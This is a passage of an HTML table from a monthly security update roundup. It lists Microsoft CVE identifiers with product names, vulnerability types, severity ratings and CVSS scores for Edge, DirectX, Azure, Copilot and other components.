  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
